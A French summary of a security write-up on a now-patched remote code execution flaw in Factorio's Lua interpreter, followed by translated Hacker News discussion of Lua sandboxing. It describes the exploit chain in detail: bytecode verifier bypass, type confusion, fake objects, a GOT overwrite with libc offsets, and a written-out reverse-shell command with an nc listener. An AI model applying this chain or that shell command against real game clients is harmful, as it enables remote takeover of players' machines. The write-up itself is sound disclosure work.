2 points par GN⁺ 2024-06-30 | 1 commentaires | Partager sur WhatsApp
  • La vulnérabilité dans l’implémentation Lua de Factorio permettait à un serveur malveillant d’obtenir une exécution de code arbitraire sur les clients connectés ; les versions concernées sont celles antérieures à la 1.1.101, déjà corrigées
  • Comme le multijoueur exécute le même code Lua selon un modèle de lockstep déterministe, un attaquant peut déclencher la vulnérabilité par le réseau au moyen d’une carte personnalisée malveillante
  • Au cœur du problème se trouvent l’exécution de bytecode autorisée par load/loadstring du module base, ainsi qu’un Off-By-One et une absence de vérification de type dans le vérificateur propre à Factorio
  • L’exploit divulgue d’abord une adresse via une confusion de type dans FORLOOP, puis construit de faux objets et des primitives de lecture/écriture arbitraires en manipulant les indices d’upvalue pour confondre LClosure et TString
  • Le RCE sous Linux remplaçait l’adresse ldexp de la GOT par system et abusait de l’appel à math.ldexp ; des ajustements spécifiques étaient nécessaires à cause des offsets de structures de Factorio et des différences de format %a

Périmètre de la vulnérabilité et voie d’exposition de Lua

  • La vulnérabilité dans l’implémentation Lua de Factorio permettait à un serveur malveillant d’obtenir une exécution de code arbitraire sur le client, et les versions de Factorio antérieures à la 1.1.101 sont affectées
  • Lua est utilisé dans Factorio pour implémenter la logique de jeu, les mods et les cartes personnalisées
    • Les mods peuvent être obtenus depuis le jeu ou via Factorio Mods
    • La communauté de modding compte des milliers de mods, dont certains dépassent 500 000 téléchargements
  • À première vue, cela ressemble à une attaque locale nécessitant l’installation directe d’un mod malveillant, mais le mode de synchronisation multijoueur expose l’interpréteur Lua par le réseau
  • Le multijoueur de Factorio utilise un lockstep déterministe
    • Ce n’est pas l’état du jeu lui-même qui est transmis sur le réseau, mais uniquement les entrées des utilisateurs
    • Le jeu de chaque joueur doit simuler chaque tick de manière identique
    • Si un joueur exécute du code Lua, les autres joueurs doivent exécuter le même code pour rester synchronisés
  • Les voies permettant à un attaquant de faire exécuter du code Lua se résument à deux cas
    • Exécuter du code Lua sur le serveur avec la commande /c lorsqu’il dispose des droits nécessaires
    • Créer une carte personnalisée contenant du code Lua, exécuté par le client lorsqu’il se connecte au serveur
  • En exposant un serveur malveillant dans le navigateur de serveurs, il est possible d’amener une victime à télécharger la carte et à exécuter le code Lua

Déroulé global de l’attaque

  • L’attaque commence par un serveur Factorio qui fournit une carte malveillante
    • L’exploit est inclus dans le code Lua de scénario de la carte
    • Lorsque le client se connecte au serveur, il télécharge la carte et exécute le code Lua associé
  • Les faiblesses de l’implémentation Lua sont ensuite utilisées pour construire un faux objet (fake object)
    • Ce faux objet permet une fuite mémoire et une corruption mémoire
    • Il permet ainsi de créer plusieurs primitives pouvant mener à l’exécution de code
  • Dans un langage dynamique, un faux objet est un moyen central pour l’attaquant d’obtenir un contrôle important
    • Les chaînes peuvent servir à divulguer des données arbitraires
    • Les tableaux ou tables peuvent servir à écrire en mémoire arbitraire
    • S’il existe une voie d’appel vers des fonctions natives, cela peut mener au contrôle du flux d’exécution

Exécution de bytecode Lua et problème du vérificateur

  • Les modules Lua inclus dans Factorio sont limités
    • debug : accès aux fonctions de débogage
    • math : interface mathématique C standard
    • bit32 : opérations bit à bit
    • string : manipulation de chaînes
    • table : manipulation de tables
    • base : fonctions cœur de Lua comme print
  • Les modules manifestement dangereux comme os.execute sont absents, mais load et loadstring du module base autorisent l’exécution de bytecode, ce qui crée une surface d’attaque importante
  • Lua compile d’abord le code source en bytecode Lua, puis l’exécute dans l’interpréteur
    • Le bytecode n’est pas du langage machine CPU, mais une représentation exécutable uniquement par l’interpréteur Lua
    • Si l’on peut injecter directement du bytecode, on peut exécuter du bytecode invalide que le compilateur normal ne produirait pas
  • Les développeurs de Lua connaissaient le risque lié à l’exécution de bytecode arbitraire et avaient créé un vérificateur, mais l’ont supprimé dans Lua 5.2
    • Sur la liste de diffusion Lua, il est expliqué en substance que l’ancien vérificateur avait été contourné à plusieurs reprises et que les applications exécutant du code Lua arbitraire feraient mieux de ne pas accepter de scripts précompilés
  • Les développeurs de Factorio semblent avoir implémenté leur propre vérificateur de bytecode sur Lua 5.2.1
    • La logique de protection se concentre sur le blocage des paramètres OOB évidents, comme les sauts hors du code ou les indices hors limites dans le tableau de constantes
    • En raison de la sémantique de certains opcodes, un problème Off-By-One existait, et le traitement des offsets de saut comme JMP 0 pouvait permettre de sauter hors du bloc de code
    • Comme la zone des constantes peut être allouée après le chunk de code, l’attaquant pouvait stocker du bytecode dans la section des constantes et l’exécuter en contournant les contrôles via le saut off-by-one

Fuite d’adresse : confusion de type dans FORLOOP

  • Les objets internes de Lua sont représentés par TValue
    • TValue est composé d’une zone de valeur, Value, et de tt_, qui représente le type
    • Value occupe 8 octets et est interprété, selon le type, comme un double ou comme un pointeur
  • Dans Lua 5.2, tous les nombres sont représentés par des double
    • Un nombre peut être stocké inline dans l’union Value, sans passer par un pointeur
    • Si l’on force l’interprétation d’un pointeur de chaîne comme un nombre, les bits du pointeur peuvent être exposés sous forme de valeur double
  • En Lua ordinaire, print(function) peut afficher une adresse, mais cela a été supprimé dans Factorio, et les adresses de chaînes ne peuvent pas non plus être divulguées directement
  • L’opcode de boucle FORLOOP doit normalement venir après FORPREP
    • FORPREP vérifie que la valeur initiale, la limite et le pas sont des nombres
    • Dans FORLOOP, le type du paramètre de pas n’est pas vérifié, et les contrôles basés sur lua_assert ne sont pas imposés dans les builds par défaut
  • L’attaquant peut manipuler le bytecode pour supprimer FORPREP et n’exécuter que FORLOOP
    • Il construit en bytecode une situation que le compilateur ne produirait pas à partir d’un source Lua normal
    • Si un objet comme une chaîne est placé à l’emplacement du pas, le pointeur de ce TValue est interprété comme un double et divulgué
  • La valeur divulguée n’est pas un double normal, mais les bits d’un pointeur interprétés comme un double ; elle apparaît donc comme une très petite valeur, par exemple 2.1944577826691e-317
    • IEEE 754 binary64 est composé de 1 bit de signe, 11 bits d’exposant et 52 bits de mantisse
    • Si la valeur du pointeur ressemble à un double dénormalisé, on peut reconstruire la valeur d’origine à partir de la mantisse
  • Lua 5.2 ne dispose pas de pack/unpack ni de types entiers, ce qui complique la conversion
    • Au départ, string.format("%.13a", double) a été utilisé pour lire la mantisse et l’exposant afin de reconstruire le pointeur
    • L’exemple de fuite a été reconstruit en pointeur 0x43d6c0, et les données réelles de la chaîne se trouvent 24 octets après l’en-tête TString

Manipulation d’upvalue et confusion de type LClosure

  • Les upvalues sont le mécanisme par lequel Lua accède aux variables situées dans la portée extérieure de la fonction courante
    • Les informations d’upvalue dans le bytecode incluent l’indice, le nom, l’indication de présence sur la pile et l’indice de pile
    • L’attaquant peut modifier les indices d’upvalue inclus dans le bytecode
  • En changeant un indice d’upvalue, il est possible de référencer un autre TValue sur la pile au lieu de la variable locale d’origine
    • Dans l’exemple, l’indice de l’upvalue target est incrémenté de un pour le faire pointer vers la LClosure de la fonction courante
    • Le bytecode manipulé affiche LClosure: 0x... au lieu de nil
  • En Lua, l’unité d’exécution réelle d’une fonction est séparée en Prototype et Closure
    • Proto sert de modèle de fonction, avec le bytecode, les constantes, les lignes sources, les informations d’upvalue, etc.
    • LClosure est créée pendant l’exécution et relie le Proto à la liste des upvalues
  • L’opcode CLOSURE crée une nouvelle closure Lua, la place sur la pile, puis initialise ses upvalues
    • Avec trois variables locales, la nouvelle LClosure peut être placée à base + 3
    • En remplaçant l’indice d’upvalue par 3, on peut capturer le TValue de LClosure à cet emplacement
  • Si une fonction interne écrase la LClosure de la fonction externe avec une chaîne, Lua tentera après le retour d’utiliser la chaîne comme une LClosure, ce qui provoque un crash
    • La vérification de type sur le chemin OP_RETURN repose sur lua_assert et n’est pas imposée dans la configuration par défaut
    • En conséquence, cl dans la frame d’exécution courante peut pointer non pas vers une vraie LClosure, mais vers une TString contrôlée par l’attaquant
  • En exploitant la différence de layout entre TString et LClosure, la zone de données utilisateur de la chaîne chevauche les emplacements de Proto *p et Upval **upval
    • Cette confusion de type permet de contrôler le pointeur vers le prototype de fonction et le pointeur vers le tableau d’upvalues
    • En les faisant pointer vers une zone mémoire contrôlable, on peut créer de faux objets

Faux objets et primitives de lecture/écriture

  • Il existe deux grandes voies pour créer de faux objets
    • Faire pointer un faux Proto vers un faux tableau de TValue
    • Faire pointer un faux tableau d’UpVal vers un faux TValue
  • La voie par les constantes a été choisie parce qu’elle nécessite peu de padding et que les constantes peuvent être réutilisées dans la fonction
    • Faux TString
    • Tableau de TValue pointant vers le faux TString
    • Proto pointant vers le faux tableau de TValue
    • LClosure pointant vers le faux Proto
  • Le faux TString peut être utilisé comme primitive de lecture en définissant une longueur arbitrairement grande
    • Les données d’une chaîne Lua sont supposées se trouver après l’en-tête TString
    • str:sub() permet de lire la mémoire dans la plage couverte par la fausse chaîne
    • Les indices de chaînes Lua commencent à 1, il faut donc corriger le calcul de l’en-tête d’un octet
  • La primitive d’écriture consiste à faire pointer un faux UpVal vers le TValue de l’adresse cible
    • Lorsqu’un nombre est affecté à une variable Lua, un TValue numérique est écrit à cet emplacement
    • Le nombre étant stocké inline dans les 8 premiers octets de TValue, on peut contrôler la zone de valeur
    • Dans le même temps, les 8 octets suivants reçoivent les informations de type, ce qui peut aussi corrompre la mémoire voisine
  • Comme les nombres Lua sont des double, il faut une conversion pour écrire le motif de bits entier souhaité
    • On utilise la plus petite unité d’un double dénormalisé, 2^-1074
    • L’entier est encodé dans la représentation double sous la forme integer_to_double(integer) = integer * 2^-1074

Contrôle du pointeur de commande et contournement de l’ASLR

  • Une Light C Function Lua stocke son pointeur de fonction inline dans le TValue
    • Le type de fonction est LUA_TFUNCTION, et une Light C Function est représentée par la valeur LUA_TLCF 22
    • Si l’on place 0xdeadbeef dans la zone de valeur de TValue et 22 dans la zone de type, elle peut être appelée comme une fonction à cette adresse
  • L’appel d’une fausse Light C Function permet de contrôler l’instruction pointer
    • Dans l’exemple, RIP devient 0xdeadbeef et le programme crashe
    • Cela peut ensuite mener à des techniques de modification du flux d’exécution comme une chaîne ROP
  • Le fait que le pointeur de Light C Function soit stocké inline est aussi utile pour les fuites d’adresses
    • Si des fonctions Lua sont implémentées comme light C functions, la primitive de fuite d’adresse permet de lire l’adresse d’une fonction comme print
    • Cela permet de calculer une adresse de base nécessaire au contournement de l’ASLR
  • Si une fonction sandboxée reste présente dans le binaire, il est également possible de contourner la sandbox en faisant pointer une fake function vers cette adresse et en l’appelant

Ajustements propres à Factorio

  • Les premiers tests ont été menés dans l’interpréteur Lua officiel, mais l’implémentation Lua de Factorio possède un layout de structures différent
  • Dans Factorio, l’objet GC CommonHeader ajoute un pointeur previous
    • Lua officiel utilise une structure next, tt, marked
    • Factorio semble utiliser une structure previous, next, tt, marked
  • Cette différence décale certains offsets de 8 octets
    • L’en-tête TString mesure non pas 24 octets, mais 32 octets
    • Le calcul de l’adresse du contenu de la chaîne et celui de l’adresse relative de la primitive de lecture doivent être corrigés
    • Il faut aussi tenir compte du pointeur supplémentaire dans les calculs du faux UpVal et de la fake closure
  • Dans Factorio, le comportement du format %a différait également des tests sur Lua officiel
    • string.format("%.13a", 2.1038461432219e-316) ne produisait pas le 0x0.000000289c130p-1022 attendu, mais une forme 0xa.2704c00000000p-1052
    • La reconstruction du double à partir du formatage de chaîne était donc cassée
  • La conversion finale a été remplacée par une méthode purement numérique
    • Pour une valeur dénormalisée, on peut considérer que tous les entiers commencent au bit de poids faible de droite
    • La valeur divulguée est reconstruite avec double_to_number(double) = double * 2^52 * 2^1022
    • 2^1074 ne pouvant pas être représenté comme un double, la multiplication est découpée en deux étapes

RCE Linux : remplacement de la GOT et math.ldexp

  • Sous Linux, la voie RCE choisie utilise un remplacement de la GOT plutôt qu’une chaîne ROP
    • Chercher une fonction importée appelable depuis Lua et dont le premier argument peut être contrôlé
    • Écraser l’entrée GOT de cette fonction avec l’adresse de system
    • Appeler cette fonction depuis Lua pour la faire se comporter comme system(command)
  • Dans les bibliothèques Lua limitées de Factorio, math.ldexp a été utilisée comme fonction adaptée
    • En interne, elle appelle ldexp(luaL_checknumber(L, 1), luaL_checkint(L, 2))
    • Une vérification avec GDB a confirmé que le deuxième argument Lua était transmis comme premier argument de registre RDI lors de l’appel à libc
  • La GOT se trouve avant le heap, ce qui la rend difficile à lire directement avec la primitive de lecture par fausse chaîne existante
    • La primitive de lecture ne peut lire que les adresses situées après l’en-tête de la fausse chaîne
    • Un segment writable situé avant la GOT est utilisé pour construire un faux TString à un emplacement précédant la GOT
  • En créant un faux TString avant la GOT, on peut lire l’adresse de fonctions libc et contourner l’ASLR
    • Dans l’exemple, l’adresse de memcpy est lue dans la GOT
    • Avec les offsets de libc 2.38 sur Fedora 39, on calcule libc_base = memcpy - 0x138b80, puis system = libc_base + 0x2a3b0
  • L’entrée GOT de ldexp est ensuite écrasée avec l’adresse de system
    • Dans l’exemple, l’adresse 0x289ef00 est utilisée comme entrée GOT de ldexp
    • Elle est écrasée sous la forme write(0x289ef00, system)

Exécution de commande et shell distant final

  • La première tentative consistait à stocker la commande dans une chaîne Lua et à appeler math.ldexp(0, addr_of(cmd) + 32)
    • La commande était de la forme sh -c "sh -i >& /dev/tcp/127.0.0.1/9001 0>&1 &"
    • Mais comme Lua appelait ldexp avec un paramètre 32 bits, les bits de poids fort de l’adresse de la chaîne étaient tronqués, ce qui faisait échouer l’attaque
  • Le contournement consiste à écrire directement la chaîne de commande dans le segment writable du binaire utilisé auparavant pour créer la fausse chaîne
    • Comme PIE n’était pas activé, l’adresse du binaire principal était suffisamment petite
    • La chaîne de commande est écrite près de l’adresse 0x289c150 via plusieurs appels à write()
  • Après le remplacement de la GOT, l’appel math.ldexp(0, 0x289c150) se comporte comme un appel à system(0x289c150)
  • Le résultat final est confirmé par un shell connecté à un listener local nc -lvp 9001
    • Le prompt du shell est sh-5.2$
    • Le résultat de whoami est victim

Challenge d’entraînement et références

1 commentaires

 
GN⁺ 2024-06-30
Avis de Hacker News
  • Inattendu
    Lua interprète du bytecode, donc je pensais qu’il pouvait vérifier que les arguments des instructions avaient du sens. Par exemple, qu’ils pointent vers de la mémoire allouée par Lua
    Mais en réalité, ce n’était pas le cas, et si on lui fournit du bytecode avec de mauvais arguments, il l’exécute tel quel. La compromission qui suit part de là
    En plus, au lieu de corriger l’interpréteur, le plan consiste à analyser statiquement le bytecode, ce qui semble ne marcher que pour les cas simples
    Pour un langage interprété censé être adapté au sandboxing, c’est assez décevant, et je me demande s’ils accepteraient un patch pour corriger l’interpréteur afin qu’il ne fasse pas confiance à ses entrées. Ils semblent craindre une baisse de performances, mais c’est douteux quand l’option rapide est LuaJIT

    • À propos d’un « patch qui ferait que l’interpréteur ne fasse pas confiance à ses entrées », je comprends que la position des développeurs de Lua est que les processus qui exécutent du code Lua arbitraire ne devraient accepter que du code source et désactiver le chargement direct de bytecode
      Cette approche paraît raisonnable : elle laisse la possibilité de charger directement du bytecode de confiance, tout en évitant d’ajouter dans l’interpréteur des vérifications dynamiques qui toucheraient tous les utilisateurs
    • Contrairement à une idée reçue, Lua n’est en fait pas adapté au sandboxing
      Par conception, Lua ne garantit pas la terminaison, et il n’existe pas non plus de bon moyen de forcer l’arrêt de programmes non fiables. Si vous acceptez des entrées Lua non fiables, vous devez considérer que votre programme peut se bloquer indéfiniment
      Lua est excellent pour des entrées semi-fiables ayant fait l’objet d’un minimum de diligence, comme du code téléchargé depuis Internet. Même si le code est réellement malveillant, il permet de fortement limiter les dégâts, sans les éliminer complètement
      Si vous avez besoin d’entrées totalement non fiables à la manière de JavaScript, le fork Luau de Roblox est le bon choix : https://luau-lang.org/sandbox
    • Difficile de dire que c’est adapté au sandboxing, non ?
      Comme d’autres langages l’ont montré, créer un interpréteur sûr pour du bytecode n’a rien de simple. C’est aussi un compromis qui garde l’implémentation de référence simple
      Quand il s’agit d’exécuter du code tiers, je ne fais pas confiance à la plupart de ces interpréteurs. Même les navigateurs, avec les budgets de R&D et l’attention qu’ils reçoivent, je ne leur fais confiance qu’à grand-peine
    • C’est prévisible. Il ne faut exécuter que du bytecode effectivement produit par un compilateur correct. Sinon, on obtient des violations de sûreté mémoire ou des évasions de sandbox, y compris des évasions de sandbox via des violations de sûreté mémoire
      C’est comme ne pas exécuter du code machine arbitraire
      Luau a aussi cette propriété, et pourtant Roblox n’est pas constamment victime d’évasions de sandbox, si ?
    • Java, Wasm et BPF montrent qu’un bytecode vérifiable statiquement est possible, même pour des langages compilés en JIT. Le problème de Lua est que son bytecode ne fournit pas les informations nécessaires pour vérifier complètement sa sûreté
  • J’aimerais que ces points soient définis ou documentés plus clairement. On se retrouve à devoir déterminer soi-même quels langages peuvent raisonnablement être garantis comme sûrs
    Par exemple, il y a le cas de base où du code statique est exécuté directement par l’utilisateur, cas dont les langages, Lua compris, se préoccupent généralement
    Il y a aussi le cas où du code est reçu dynamiquement et exécuté lors d’un processus de mise à jour, mais uniquement via des canaux officiels. Là, on peut éventuellement s’en sortir en sécurisant le processus, mais ce n’est pas certain
    Il y a également le cas où l’utilisateur peut ajouter du code sous forme de plugins, installables facilement depuis une boutique en un clic. Les plugins peuvent être examinés, mais cela se fait rarement correctement ; il faut donc déterminer si un sandbox est nécessaire ou si l’utilisateur doit être prudent
    Il existe aussi des jeux multijoueurs où seul le serveur peut être étendu par des plugins, pas le client. Il faut tenir compte du fait que les joueurs qui ouvrent des serveurs essaient activement plusieurs plugins, et que la communauté des plugins peut être bien plus risquée
    Enfin, il y a les jeux multijoueurs où, comme dans un navigateur, le serveur peut exécuter du code arbitraire côté client. Dans ce cas, il faut être particulièrement prudent avec le sandboxing côté client, parce que les joueurs rejoignent des serveurs arbitraires sans réfléchir aux implications de sécurité
    Factorio se trouve précisément dans ce dernier cas. Je ne suis pas forcément contre le fait que les développeurs doivent évaluer cela, mais, par exemple, il n’est pas toujours évident que la fonction load de Lua puisse exécuter du bytecode arbitraire non sûr
    Honnêtement, je ne savais pas que le bytecode Lua n’était pas sûr, alors que je savais que le bytecode LuaJIT ne l’était pas. Mais cette information semble être seulement mentionnée çà et là comme une évidence dans des mailing lists ou des issues GitHub
    Il y a aussi le problème qu’un serveur puisse bloquer le client. Il suffit de lancer une boucle infinie. Mais c’est beaucoup plus difficile à éviter, et il est peut-être même vain d’essayer de l’éviter

    • Il ne faut supposer sûre aucune méthode exécutant du code contrôlé par un attaquant. Surtout si elle n’affirme pas explicitement être sûre et si elle n’a pas bénéficié d’un effort à l’échelle de Google pour le permettre
    • Mordhau, un jeu basé sur Unreal Engine, avait une fonctionnalité de message du jour où l’opérateur du serveur pouvait fournir une URL, ce qui ouvrait un navigateur intégré lorsque les joueurs se connectaient
      Il n’y avait pas d’option côté client pour désactiver le navigateur, et il me semble que les développeurs ont fini par la désactiver complètement, même si je ne suis pas certain de son état actuel
      Cela montre à quel point les jeux et les moteurs de jeu sont devenus complexes. On y trouve un navigateur Web intégré à des endroits où il ne semble pas vraiment y avoir de raison
    • La première chose à vérifier est de savoir si la solution affirme clairement être un sandbox sûr vis-à-vis de l’exécution spéculative. Peu le font, mais certains oui, et c’est un bon point de départ pour juger
  • Factorio est soutenu par une très bonne équipe de développement, donc je pense qu’ils font de leur mieux pour corriger ce genre de problème. Cela dit, le développement de jeux dans son ensemble relève beaucoup du travail créatif, si bien que des choses comme les pratiques de code ou la sécurité semblent passer au second plan
    Je me demande combien de vulnérabilités zero-day peuvent se cacher dans les clients et serveurs de jeux

    • Pour moi, les jeux qui impliquent des interactions à distance ne sont fondamentalement pas totalement sûrs. Il vaut mieux exécuter Steam et tous les jeux dans une forme ou une autre de sandbox
      Flatpak peut être un point de départ utile. Un conteneur n’est pas une frontière de sécurité forte, mais il peut bloquer des exploits simples
    • Ce n’est probablement pas très bon. Il suffit de se demander pourquoi des fabricants de consoles comme Xbox, Sony ou Nintendo n’autorisent pas la connexion à des IP de serveurs arbitraires ni la prise en charge des mods
      Ce n’est pas seulement une décision commerciale visant à pousser l’utilisation des services en ligne officiels. Si l’accès à des IP de serveurs tiers est bloqué, même des bugs graves dans le code réseau ou dans le reste du jeu ne pourront jamais être exploités. En limitant les mods, même les mods « sûrs » comme ceux en Lua, on peut empêcher encore davantage d’exploits
      Historiquement, du code réseau plein de bugs a déjà fait tomber le DRM de plusieurs consoles
      Au-delà des exploits, les consoles mettent aussi en avant le fait que le code est soumis à une validation avant d’être distribué. Autoriser l’exécution de Lua depuis un système distant signifie que, même après approbation, le jeu peut être reconfiguré à distance par les développeurs eux-mêmes, et les fabricants de consoles ne veulent pas permettre cela sans un examen très minutieux
    • C’est pour cela qu’il vaut mieux avoir un ordinateur séparé pour jouer. Mieux vaut ne jamais y mettre de documents importants ni de données professionnelles
      Dans l’idéal, il faudrait l’isoler dans une machine virtuelle, mais configurer une machine virtuelle de jeu est extrêmement pénible, et certains jeux utilisant un anti-cheat peuvent vous exclure
    • Des pratiques de code ? Factorio fait partie des logiciels les mieux programmés, les plus stables et les plus cohérents que j’aie jamais vus
      Quand on pense à quel point d’autres domaines ont désespérément besoin de gens qui savent bien programmer, c’est presque dommage que des personnes aussi compétentes travaillent dans le jeu vidéo
  • En général, la vérification de programmes est extrêmement difficile, et pas seulement à cause du théorème de Rice. En particulier avec un langage de bytecode non trivial comme Lua, il est très facile de passer à côté de quelque chose. Wasm, par exemple, n’a pas de notion de boucle for
    Il est étrange que, après que le projet amont a abandonné ce problème parce qu’il était trop difficile, les développeurs de Factorio aient essayé de corriger le vérificateur ou d’en écrire un eux-mêmes
    La fonction loadstring de Minetest interdit complètement le bytecode : https://github.com/minetest/minetest/blob/9a1501ae89ffe79c38...
    Je me demande pourquoi les mods Factorio auraient besoin de pouvoir exécuter du bytecode Lua brut. Si ce n’est pas nécessaire, le vérificateur n’aurait pas été nécessaire non plus
    Exécuter du code Lua téléchargé depuis le réseau est déjà assez risqué. Les environnements d’exécution JavaScript ont traversé des décennies de cycles de découverte et de correction d’exploits. Cela arrive aussi à Lua, mais à plus petite échelle, avec moins de personnes pour améliorer la sécurité
    La principale protection est peut-être simplement qu’il y a moins de gens qui exploitent des serveurs de jeu malveillants

    • En réponse à ce problème, Factorio a désactivé le chargement de bytecode. Le bytecode permettait de faire des choses intéressantes, comme écrire des mods dans des langages de prétraitement qui génèrent du bytecode Lua, mais au final les questions de sécurité ont primé
      Pour des raisons de sécurité similaires, la quasi-totalité de la bibliothèque de débogage a aussi été rendue indisponible pour les mods
    • Au bout du compte, tous les développeurs de jeux finissent par apprendre à la dure qu’il faut retirer la fonctionnalité de bytecode de la fonction loadstring() de Lua
      Il y a par exemple un billet écrit par les développeurs de ROBLOX il y a 12 ans : https://archive.is/oXPyM
      Franchement, il vaudrait mieux que ce soit désactivé par défaut. Les usages légitimes sont assez de niche
    • Factorio a aussi ceci : https://mods.factorio.com/mod/Moon_Logic
      Et puis créer un logiciel qu’on ne peut tout simplement pas exécuter dans un environnement Turing-complet est assez contraignant
      Dans tous les cas, il faut vraiment un interpréteur avec un système de permissions solide
    • Le théorème de Rice ne me semble pas être le point central ici. Il peut être utile comme premier filtre. Si vous pensez pouvoir décider cela « simplement » et exactement, il faut vous arrêter : Henry Rice a obtenu son doctorat il y a un demi-siècle en prouvant que c’était impossible
      Mais si vous acceptez le compromis de ne prendre qu’une partie des entrées qui satisfont les exigences réelles, alors le théorème de Rice ne s’applique plus. Il ne reste plus une tâche impossible, seulement une tâche extrêmement difficile
      Même en cas d’échec, on peut au moins se consoler en se disant qu’on ne vous dira pas que c’était impossible
      Factorio n’aurait pas dû emprunter cette voie
    • Le théorème de Rice ne s’applique pas ici. Dans la définition large de la « syntaxe » utilisée par le théorème de Rice, les choses que l’on cherche à vérifier dans le bytecode relèvent de la syntaxe
  • Question de parfait débutant : pourquoi les jeux utilisent-ils Lua, plutôt qu’un JavaScript embarqué avec une interface définie, comme une API permettant d’ajuster l’état du jeu ?
    On pourrait bénéficier des renforcements bien plus importants apportés à l’isolation des environnements de navigateur. Les navigateurs sont des cibles difficiles, très bien testées et fortement financées
    D’énormes efforts ont aussi été consacrés à l’optimisation des performances des types dynamiques
    Et si les mods ont besoin d’une UI, il y a le canvas ; avec un modèle proche du DOM, des choses comme React pourraient même devenir possibles

    • D’après ce que j’ai essayé il y a quelques années, la plupart des moteurs JavaScript étaient anciens et presque plus maintenus, tandis que les moteurs utilisés dans les navigateurs sont conçus d’abord pour les navigateurs et n’ont pas été pensés pour être faciles à intégrer
      Lua a été spécialement conçu pour l’intégration, il existe donc beaucoup de documentation et une grande communauté derrière
    • La plupart des moteurs JavaScript sont bien plus complexes à embarquer que Lua. Lua fait partie des logiciels les plus faciles à compiler qui me viennent à l’esprit
      Par ailleurs, vous confondez les API de navigateur courantes avec JavaScript. Un moteur JavaScript ne fournit ni canvas ni DOM. V8, par exemple, ne les fournit pas ; il faut les ajouter soi-même
  • Je ne suis pas développeur sécurité, mais j’ai envie de dire, par pure formalité : « Waouh, c’est vraiment impressionnant ! » C’est difficile de croire à quel point il faut penser clairement et logiquement pour remonter la piste d’un cas d’échec aussi complexe. Ce n’est clairement pas mon point fort ; je suis bien plus du genre « personne à idées »
    Sur le fond, j’ai l’impression que si une armée d’ingénieurs logiciels IA nourrie de 10 000 billets de blog sur la recherche de ce genre d’exploits mémoire bizarres débarque, on est complètement fichus
    Au final, je pense qu’il nous faut un paradigme entièrement nouveau pour la sécurité, ou au moins un nouvel élément dans la pile. Les histoires modernes de clients « de confiance » ou de rôles de DB donnent l’impression de colmater les trous d’un fromage suisse
    Avec un peu de chance, on pourra ajouter une nouvelle couche de fromage suisse gérée par un LLM

    • Certains le font déjà. Les résultats ne sont pas encore prometteurs
  • Donc, si je comprends bien, c’est un exploit qui repose sur le chargement de bytecode, une fonctionnalité annoncée comme exploitable ? Qu’est-ce que je rate ?

    • Ce qui était intéressant, c’est à quel point les développeurs de Lua se sont plantés dans le vérificateur de bytecode. Ce n’était pas un problème complexe, mais des choses simples comme une erreur off-by-one dans la modélisation d’instructions de base comme jmp, ou le fait que l’interpréteur Lua essaie d’interpréter comme des instructions tout ce qui lui tombe sous la main
      Il essayait même d’interpréter des sections de données que le vérificateur ne touchait pas
    • Même si c’est une fonctionnalité annoncée, elle peut nuire à des utilisateurs finaux qui ne savent pas ce que sont Lua ou le bytecode
    • À cause d’un bug dans l’interpréteur de bytecode, l’exécution de bytecode arbitraire peut être possible même dans un environnement où loadstring est désactivé
  • C’est vraiment une chance que des gens aussi compétents soient du bon côté

    • Ça montre, je trouve, combien de gens sont fondamentalement bons ou du moins ne cherchent pas à nuire. Je ne sais pas quel serait le mot juste en anglais
      Les médias d’information nous font croire l’inverse, et les commentaires moyens sous ces articles renforcent cette impression, mais si c’était vraiment le cas, comment expliquer les nombreux luxes et les programmes d’aide médicale et sociale dont nous bénéficions ?
      Je ne dis pas que le monde n’a pas de problèmes, mais il y a clairement bien plus de gens constructifs que de gens destructeurs
      Je viens juste d’un fil HN sur les Panama Papers, donc cette idée me revient d’autant plus. Là-bas, le ton était cynique, du genre tous les riches sont mauvais et tous ont totalement échappé aux poursuites, mais quelques commentaires soulignaient à juste titre qu’aucune de ces deux choses n’est vraie. Il faut simplement descendre un peu dans le fil et ne pas se laisser emporter par le cynisme
  • À mon avis, le bytecode Lua ne devrait jamais être utilisé en dehors des systèmes embarqués qui n’ont pas assez de ressources pour faire tourner l’analyseur de code source Lua
    En dehors des failles de sécurité, le seul usage qui me semble utile est celui des programmes à source fermée

  • J’ai peut-être raté quelque chose, et j’admets avoir lu la fin en diagonale, mais il me semble que l’auteur n’aborde absolument pas les mesures d’atténuation qui ont effectivement été prises. J’aimerais en savoir plus là-dessus